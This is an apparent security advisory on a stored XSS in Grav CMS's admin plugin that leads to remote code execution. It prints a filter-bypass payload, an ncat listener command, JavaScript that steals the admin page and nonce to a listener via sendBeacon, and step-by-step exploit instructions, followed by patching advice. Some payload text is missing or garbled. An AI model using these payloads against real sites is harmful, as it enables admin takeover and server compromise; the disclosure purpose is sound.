A low-privileged user with page creation rights exploits a stored XSS in Grav Core + Admin Plugin (v1.7.49.5 / v1.10.49.1). The flawed XSS filter in `system/src/Grav/Common/Security.php` uses a regex `’on_events’ => ‘(<[^>]+[a-z\x00-\x20\”\’\/])(on[a-z]+|xmlns)\s=[\s|\’\”].[\s|\’\”]>iUu’` that incorrectly assumes event handlers must be preceded by whitespace, single quote, or double quote. Attackers bypass this with unquoted payloads like <img src=x onload=alert(1)>. The filter also lacks dangerous tags such as `
Start ncat listener on port 8001
ncat -lvnp 8001
Base64 encoded payload (decoded)
(async()=>{
let r=await fetch('/grav-admin/admin/config/info');
let t=await r.text();
navigator.sendBeacon('http://127.0.0.1:8001/grav-log',t)
})();
Example malicious SVG payload (truncated)
<svg><foreignObject><img src=x onerror=eval(atob('KGFzeW5j...'))></foreignObject></svg>
Exploit:
1. Create low‑privileged user with page CRUD rights.
Create a new page and inject the `` payload (see above).
3. Start an ncat listener on port 8001.
Wait for a Super Admin to browse the Grav site.
The admin’s browser executes the XSS, fetches /admin/config/info, and exfiltrates admin_nonce + system info to the listener.
Use the stolen nonce to call admin endpoints (e.g., plugin install, system commands) for RCE.
Protection from this CVE
Upgrade to Grav Core 2.0.0‑beta.2 or higher (commit 5a12f9be8).
Manually add <svg>, <math>, <option>, `
Replace the regex‑based XSS filter with a proper HTML sanitizer like HTMLPurifier.
Limit low‑privileged user permissions; disable page creation for untrusted roles.
Impact
Full system compromise via RCE chain. CVSS 9.0 (Critical): low‑privilege, user interaction required, cross‑site scripting leads to admin nonce theft, CSRF bypass, and arbitrary code execution on the server.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
To provide the best experiences, we use technologies like cookies to store and/or access device information. Consenting to these technologies will allow us to process data such as browsing behavior or unique IDs on this site. Not consenting or withdrawing consent may adversely affect certain features and functions.
We do not sell your personal data. If you wish to exercise your rights under applicable privacy laws, please visit our Do Not Sell My Personal Information page.
Functional
Always active
The technical storage or access is strictly necessary for the legitimate purpose of enabling the use of a specific service explicitly requested by the subscriber or user, or for the sole purpose of carrying out the transmission of a communication over an electronic communications network.
Preferences
The technical storage or access is necessary for the legitimate purpose of storing preferences that are not requested by the subscriber or user.
Statistics
The technical storage or access that is used exclusively for statistical purposes.The technical storage or access that is used exclusively for anonymous statistical purposes. Without a subpoena, voluntary compliance on the part of your Internet Service Provider, or additional records from a third party, information stored or retrieved for this purpose alone cannot usually be used to identify you.
Marketing
The technical storage or access is required to create user profiles to send advertising, or to track the user on a website or across several websites for similar marketing purposes.